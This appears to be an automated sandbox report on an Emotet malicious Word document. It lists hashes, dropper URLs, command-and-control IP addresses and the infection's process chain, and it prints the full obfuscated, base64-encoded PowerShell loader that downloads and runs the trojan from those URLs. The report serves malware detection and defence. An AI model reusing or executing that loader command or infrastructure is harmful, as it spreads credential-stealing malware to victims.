emotet | d1383cbe8af34cd28f443f956ae68d5765a9067c67daa04ac7a78f2f0a04ca85

Analysis

max time kernel
136s
max time network
146s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 14:59

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General

Target
file 20200915.doc
Size 186KB
Sample200915-ebzazdzems
SHA256 d1383cbe8af34cd28f443f956ae68d5765a9067c67daa04ac7a78f2f0a04ca85
MD5 df4a7dd34963372dd35e5bf0d74c8b2c
SHA1 91a0d946c12eeccfbc905fe11ad2c9d7dd0bd8cc
SHA512 79a96bda1c0b366f545f7842b64de8626d3644ae55598c9fcd96ef8b0a609784e3ad6ecec485e0dda930164037225889c80306193b4109cdc50440223acd223e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://loungegangnam.com/4W/dz/
exe.dropper
http://indyoverheaddoors.com/wp-includes/pZ/
exe.dropper
http://geoffoglemusic.com/wp-admin/w/
exe.dropper
http://giral2.com/wp-includes/0e/
exe.dropper
https://www.lunalysis.com/wordpress/syb/
exe.dropper
http://farli.com/cgi-bin/jK/
exe.dropper
http://goldcoastoffice365.com/temp/wQ/

Extracted

Family

emotet

82.230.1.24:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
61.197.92.216:80
217.199.160.224:7080
61.92.159.208:8080
186.103.141.250:443
104.131.41.185:8080
170.81.48.2:80
50.121.220.50:80
190.195.129.227:8090
187.162.248.237:80
172.104.169.32:8080
199.203.62.165:80
45.161.242.102:80
45.46.37.97:80
96.227.52.8:443
65.36.62.20:80
220.109.145.69:80
74.58.215.226:80
181.129.96.162:8080
45.33.77.42:8080
70.32.115.157:8080
185.178.10.77:80
104.131.103.37:8080
213.197.182.158:8080
73.213.208.163:80
72.47.248.48:7080
181.30.61.163:443
67.247.242.247:80
192.241.143.52:8080
216.47.196.104:80
2.47.112.152:80
212.71.237.140:8080
190.2.31.172:80
190.24.243.186:80
111.67.77.202:8080
185.94.252.27:443
177.74.228.34:80
184.66.18.83:80
68.69.155.181:80
190.6.193.152:8080
77.238.212.227:80
64.201.88.132:80
177.73.0.98:443
190.115.18.139:8080
185.215.227.107:443
95.9.180.128:80
5.189.178.202:8080
191.182.6.118:80
5.196.35.138:7080
50.28.51.143:8080
192.241.146.84:8080
185.94.252.12:80
54.37.42.48:8080
137.74.106.111:7080
45.16.226.117:443
185.183.16.47:80
51.159.23.217:443
209.236.123.42:8080
190.163.31.26:80
87.106.46.107:8080
83.169.21.32:7080
217.13.106.14:8080
190.147.137.153:443
78.249.119.122:80
77.90.136.129:8080
178.250.54.208:8080
74.136.144.133:80
138.97.60.141:7080
219.92.13.25:80
190.190.148.27:8080
68.183.170.114:8080
98.13.75.196:80
70.32.84.74:8080
82.76.111.249:443
51.255.165.160:8080
94.176.234.118:443
152.169.22.67:80
189.2.177.210:443
72.135.200.124:80
188.135.15.49:80
77.106.157.34:8080
204.225.249.100:7080
12.162.84.2:8080
186.70.127.199:8090
68.183.190.199:8080
110.142.219.51:80
111.67.12.221:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2412	2120	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2412	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1868	C8_g0pv3.exe
1500	KBDSL1.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fde\KBDSL1.exe	C8_g0pv3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2600	WINWORD.EXE
2600	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
1500	KBDSL1.exe
1500	KBDSL1.exe
1500	KBDSL1.exe
1500	KBDSL1.exe
1500	KBDSL1.exe
1500	KBDSL1.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
2600	WINWORD.EXE
1868	C8_g0pv3.exe
1868	C8_g0pv3.exe
1500	KBDSL1.exe
1500	KBDSL1.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 1868	2412	powershell.exe	81
PID 2412 wrote to memory of 1868	2412	powershell.exe	81
PID 2412 wrote to memory of 1868	2412	powershell.exe	81
PID 1868 wrote to memory of 1500	1868	C8_g0pv3.exe	83
PID 1868 wrote to memory of 1500	1868	C8_g0pv3.exe	83
PID 1868 wrote to memory of 1500	1868	C8_g0pv3.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file 20200915.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABKAGkAdQA1AHcAawBxAD0AKAAoACcATwBpACcAKwAnAGEAJwApACsAJwA0AHkAJwArACcAbgB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAUgBQAHIATwBmAGkAbABlAFwAdAA2AGEAOABDAGsATQBcAHIARwBBAGkAXwBoAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBJAFQAYAB5AGAAcAByAG8AVABPAGAAQwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAnACsAJwAgAHQAbABzADEAJwApACsAJwAxACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABJAHMAZwB1AG4AMgB2ACAAPQAgACgAJwBDACcAKwAnADgAJwArACgAJwBfAGcAMABwAHYAJwArACcAMwAnACkAKQA7ACQAWgB5AGcAcwBnAGsAZQA9ACgAJwBYACcAKwAoACcAaABmACcAKwAnAGcAMwBrACcAKQArACcAcwAnACkAOwAkAEIAbgBzAGwAbgB0AG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AVAA2AGEAOABjAGsAJwArACcAbQAnACsAJwB7ADAAfQBSAGcAYQBpACcAKwAnAF8AJwArACcAaABfAHsAMAB9ACcAKQAgACAALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQASQBzAGcAdQBuADIAdgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFUAbgA2AGsAdQA2AGsAPQAoACgAJwBNAGYAJwArACcAYwAnACkAKwAoACcAaQA0ACcAKwAnAGwAOQAnACkAKQA7ACQASAAxADgAdwBnAGUAdgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAEwASQBlAG4AVAA7ACQAVAAwAHIAbgBrADYAOQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGwAbwB1ACcAKQArACcAbgAnACsAJwBnACcAKwAoACcAZQBnACcAKwAnAGEAJwApACsAJwBuACcAKwAnAGcAbgAnACsAJwBhACcAKwAoACcAbQAuAGMAbwBtAC8AJwArACcANAAnACsAJwBXAC8AJwApACsAKAAnAGQAegAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGkAJwArACcAbgBkAHkAbwB2AGUAcgBoACcAKQArACcAZQAnACsAKAAnAGEAJwArACcAZABkAG8AbwAnACkAKwAoACcAcgBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACgAJwBkAGUAcwAvACcAKwAnAHAAWgAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZwBlACcAKwAoACcAbwAnACsAJwBmAGYAbwBnACcAKQArACgAJwBsAGUAJwArACcAbQAnACsAJwB1AHMAJwArACcAaQBjAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AYQAnACkAKwAoACcAZABtACcAKwAnAGkAJwArACcAbgAvACcAKwAnAHcALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAGcAaQByACcAKwAnAGEAbAAyACcAKQArACgAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AaQBuACcAKQArACcAYwAnACsAJwBsACcAKwAoACcAdQBkAGUAcwAvADAAJwArACcAZQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAoACcALwAvAHcAJwArACcAdwB3AC4AJwArACcAbAAnACkAKwAnAHUAbgAnACsAJwBhACcAKwAoACcAbAB5AHMAJwArACcAaQAnACsAJwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3ACcAKwAnAG8AJwArACgAJwByACcAKwAnAGQAcAAnACkAKwAoACcAcgAnACsAJwBlAHMAcwAvAHMAeQAnACkAKwAnAGIAJwArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGYAYQByAGwAJwArACcAaQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAYwBnACcAKwAnAGkALQAnACsAKAAnAGIAaQBuAC8AagAnACsAJwBLAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBnACcAKwAnAG8AbABkAGMAbwAnACkAKwAnAGEAcwAnACsAJwB0AG8AJwArACgAJwBmACcAKwAnAGYAaQAnACkAKwAnAGMAZQAnACsAJwAzACcAKwAnADYAJwArACcANQAnACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHQAJwArACcAZQAnACsAJwBtACcAKwAnAHAALwAnACsAJwB3ACcAKwAnAFEAJwArACcALwAnACkALgAiAHMAUABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQA0AHcAeABqADEAbwA9ACgAJwBYACcAKwAoACcAawAzAGcAbwAnACsAJwBtAGwAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkANAAzAGIAXwBtACAAaQBuACAAJABUADAAcgBuAGsANgA5ACkAewB0AHIAeQB7ACQASAAxADgAdwBnAGUAdgAuACIAZABvAGAAVwBuAGwATwBBAEQAYABGAGkATABFACIAKAAkAEgAeQA0ADMAYgBfAG0ALAAgACQAQgBuAHMAbABuAHQAbwApADsAJABOADMAZgBjADIAcwByAD0AKAAnAEoAJwArACcAdQAnACsAKAAnAGEAYgAnACsAJwBoADgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAG4AcwBsAG4AdABvACkALgAiAGwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMwAxADUAOAA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEIAbgBzAGwAbgB0AG8AKQA7ACQATgBwADAAegA2AGcAYwA9ACgAKAAnAFgAJwArACcAbwBrACcAKQArACcAZAAnACsAKAAnAGUAJwArACcAaQBmACcAKQApADsAYgByAGUAYQBrADsAJABNADEAYgBmADYANwBrAD0AKAAnAE0AagAnACsAJwB6ADEAJwArACgAJwBtADIAJwArACcAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQA4ADcAOQBtADkAeAA9ACgAKAAnAEMAZAA2ACcAKwAnAGUAJwApACsAKAAnAGgAYgAnACsAJwBqACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Users\Admin\T6a8ckm\Rgai_h_\C8_g0pv3.exe
  "C:\Users\Admin\T6a8ckm\Rgai_h_\C8_g0pv3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\SysWOW64\fde\KBDSL1.exe
    "C:\Windows\SysWOW64\fde\KBDSL1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1500-20-0x0000000000A50000-0x0000000000A60000-memory.dmp

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memory/1500-19-0x0000000000A30000-0x0000000000A42000-memory.dmp

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memory/1868-15-0x0000000000A60000-0x0000000000A72000-memory.dmp

Download

memory/1868-16-0x0000000000A80000-0x0000000000A90000-memory.dmp

Download

memory/2412-10-0x00000138D35E0000-0x00000138D35E1000-memory.dmp

Download

memory/2412-11-0x00000138D3790000-0x00000138D3791000-memory.dmp

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memory/2412-9-0x00007FF920DD0000-0x00007FF9217BC000-memory.dmp

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memory/2600-0-0x00007FF9283F0000-0x00007FF928AB6000-memory.dmp

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memory/2600-8-0x0000023745833000-0x0000023745838000-memory.dmp

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memory/2600-7-0x000002374582A000-0x0000023745833000-memory.dmp

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memory/2600-6-0x0000023745833000-0x0000023745838000-memory.dmp

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memory/2600-5-0x000002374582A000-0x0000023745833000-memory.dmp

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memory/2600-4-0x0000023745833000-0x0000023745838000-memory.dmp

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memory/2600-3-0x0000023745690000-0x0000023745695000-memory.dmp

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memory/2600-2-0x0000023745690000-0x0000023745695000-memory.dmp

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memory/2600-1-0x000002374568B000-0x0000023745690000-memory.dmp

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